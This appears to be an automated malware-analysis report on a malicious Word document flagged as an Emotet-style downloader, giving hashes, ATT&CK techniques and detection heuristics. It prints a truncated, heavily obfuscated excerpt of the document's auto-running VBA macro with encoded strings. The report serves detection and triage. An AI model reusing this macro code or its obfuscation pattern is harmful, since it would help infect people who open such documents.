Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 6529ebe522a3de6f…

MALICIOUS

Office (OLE)

154.5 KB Created: 2018-04-05 11:46:00 Authoring application: Microsoft Office Word First seen: 2018-04-12
MD5: 84384cf851d30db7a4aefc71c2794698 SHA-1: 2e36765c9d3c74cd2a020addf07e00952c8f5061 SHA-256: 6529ebe522a3de6f422af0af1145978ec1ac75f675973ca5bb8f3eab7f007f93
224 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is a malicious Office document containing a VBA macro. The macro is triggered by the AutoOpen function and utilizes CreateObject, indicating an attempt to execute code. The presence of a 'macros.bas' file and the ClamAV detection 'Doc.Malware.Emodldr-10025032-0' strongly suggest this macro is designed to download and execute a second-stage payload, aligning with common phishing attack patterns.

Heuristics 8

  • ClamAV: Doc.Malware.Emodldr-10025032-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Emodldr-10025032-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 47663 bytes
SHA-256: 6e21cf6578d8c5257330df217e202adc0c35f20857d749097ae34f21b952d653
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 23 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "aKZdpvIPmROf"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "tiDESVdsc"
Sub VZIUOi(Kdtwd)
puklOT = TjBiPl
         Cos (68313 / CDate(25039 - Sin(92304)))
         NkDZL = (70772 / 93837)
IcDvQu = 36372 / oNKhk
ZjamY = EcuBOU
         Cos (61511 / CDate(25503 - Sin(49178)))
         dJnGG = (81360 / 80884)
THLww = 42652 / OYzLT
ZMSZjh = jvOFr
         Cos (49051 / CDate(68034 - Sin(1217)))
         iIjtCS = (33481 / 35749)
fYwAv = 62731 / FQEzU
ZIorXs = HXmCU
         Cos (89138 / CDate(83030 - Sin(54729)))
         wGuAT = (2094 / 17212)
jAhDl = 18054 / DZziaF
End Sub
Function njvpimrO()
On Error Resume Next
GiHmK = kABLF
         Cos (48723 / CDate(9319 - Sin(36911)))
         DcmidK = (44605 / 12245)
ZGCHnW = 52726 / DWUnj
owHzAYss = YjQij("k5@2AGQAYgA1ADcAZAAzADMAMQBmADAAYgA5ADgAOQBkADEAYQA3AGYAMwA2AGEAZAAzAGIAOAA0AGMANwAwADYANABkADIANgAzADAANwAxADpXvz4", 4 + 9934 - 9934, 107 + 9934 - 9934)
CdWqV = jGViCv
         Cos (37467 / CDate(22466 - Sin(81313)))
         LiYMM = (7156 / 37466)
NfjpVi = 97025 / UOkEG
aaHQX = dtpqt
         Cos (1467 / CDate(43262 - Sin(25266)))
         MVPUC = (60136 / 60730)
sDIUXD = 12113 / rizIzZ
rLVdnIB = YjQij("GBYAOAA4ADgAMAAxADczTbqzww", 3 + 9934 - 9934, 17 + 9934 - 9934)
MroEww = ShFAvJ
         Cos (89319 / CDate(2110 - Sin(10585)))
         uwPMPs = (11080 / 80581)
GBSZEc = 75881 / DcObjf
ZfKwKu = zktLuw
         Cos (58199 / CDate(13699 - Sin(80707)))
         SjjLS = (86476 / 7257)
qwkcw = 21203 / hoPdaT
QZrww = YjQij("VAAN4BKKh%", 3 + 9934 - 9934, 2 + 9934 - 9934)
FUbOY = NDAmCl
         Cos (2742 / CDate(32592 - Sin(93018)))
         GmGvU = (91106 / 87759)
mijNH = 27556 / PDQiOj
YLhVrA = StDcn
         Cos (86330 / CDate(34564 - Sin(85789)))
         ENuAqZ = (92582 / 99467)
FPlIH = 49380 / OJQid
simZaVMLznj = YjQij(",q7ZEhGYANQAxAGYAMwA4AGMANwBhAGYAZgAX.", 7 + 9934 - 9934, 30 + 9934 - 9934)
tiWJJ = dlzwFZ
         Cos (51948 / CDate(85222 - Sin(16477)))
         kzPhG = (73314 / 71203)
KldDY = 68839 / NIkTQ
dZUXSL = lCNtFV
         Cos (26610 / CDate(41729 - Sin(25569)))
         rBOMj = (99263 / 96247)
OnQNp = 2612 / alhzEL
HMtwSIItp = YjQij("qNJk5gAMwA4ADAANQAwADEAYgBkADQANgAyAGMAMQA4AGIANwBkAGQANQA3ADkAYgAwAGQAMgA5ADIAMwBlADEAMAAzAGUAZABmADQAYwBmAGQANABkADMAZAA4ADgAYwAyEc", 6 + 9934 - 9934, 126 + 9934 - 9934)
rLirG = LUuBzB
         Cos (81223 / CDate(18339 - Sin(43432)))
         tZWME = (45549 / 40141)
NMGij = 61929 / JJTKD
kKpkw = sKGPV
         Cos (53781 / CDate(29732 - Sin(65308)))
         IFOnj = (2531 / 91826)
wTmfN = 96915 / wGKKao
jChCEnD = YjQij("6t3fAAxADQAMABlADUAMwAyAGYAMAAwAGYAYwBkAGYAOQAwADcANAAzADQAMAA0ADEAMwBlADgAZQBlADMAZAA2ADYANABhADYAOAA5ADcAYwBiADQAYgBjADIAMgBkADYAZQBlADMAYQAzADcAYQBkADAANgAzADQAMAA3ADkAYwBhA5Guz5", 5 + 9934 - 9934, 172 + 9934 - 9934)
ciKHG = tJKIM
         Cos (30177 / CDate(43056 - Sin(60820)))
         zKOoJ = (82319 / 32323)
XiMRR = 30393 / EHkGc
hdIEmj = JmAkbv
         Cos (67126 / CDate(50149 - Sin(38558)))
         HhoSOV = (12917 / 81095)
pPXBK = 47808 / jobmL
GcdWq = YjQij(",Xno1wQBwAFIAZwBqAHMAcABZAGcAPQA9AHwAMgA2ADMANQBlADAAZQA5ADcAZAA4ADMAOAAxADAAOQA%mi", 7 + 9934 - 9934, 74 + 9934 - 9934)
GBrDiK = ifssUJ
         Cos (5207 / CDate(52121 - Sin(19358)))
         HCOft = (61535 / 72731)
pMZPuw = 63793 / dbmaKq
ISWNO = OANWN
         Cos (29445 / CDate(29137 - Sin(14458)))
         rLflPR = (90949 / 23019)
JcRvk = 72240 / ViApR
dXnljsNbMdd = YjQij("XBNwGSANQBhADAAZAAwADAAZgBhADYAZQA3ADIAMgAzAGYANQAxADUANAA4ADEAMAA5AGIAZgA1AGEAMwBmADcANAAzAGMAO8a", 7 + 9934 - 9934, 90 + 9934 - 9934)
KOGZVh = ZwnXD
         Cos (6623 / CDate(32849 - Sin(63377)))
         wjNGQ = (7003 / 74304)
SPbRsk = 28076 / NBBQi
DwJbQp = VbPXw
         Cos (82804 / CDate(21575 - Sin(69369)))
         iOYDCm = (26758 / 608
... (truncated)

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